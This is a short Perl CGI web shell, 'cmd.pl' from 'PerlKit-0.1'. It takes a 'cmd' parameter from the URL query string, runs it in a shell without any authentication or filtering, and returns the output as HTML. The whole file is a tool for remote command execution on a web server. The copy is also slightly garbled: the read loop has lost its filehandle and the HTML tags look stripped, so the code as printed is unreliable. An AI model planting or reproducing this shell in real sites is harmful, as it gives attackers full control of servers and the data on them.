#!/usr/bin/perl
#
# PerlKit-0.1 - http://www.t0s.org
#
# cmd.pl: Run commands on a webserver
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '
';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:\n\n";
print "-"x80;
print "\n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while() {
print;
}
close(CMD);
print "-"x80;
print "\n";
}
print "";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
my ($var, $value) = split('=', $pair, 2);
if($var) {
$value =~ s/\+/ /g ;
$value =~ s/%(..)/pack('c',hex($1))/eg;
$ret{$var} = $value;
}
}
return %ret;
}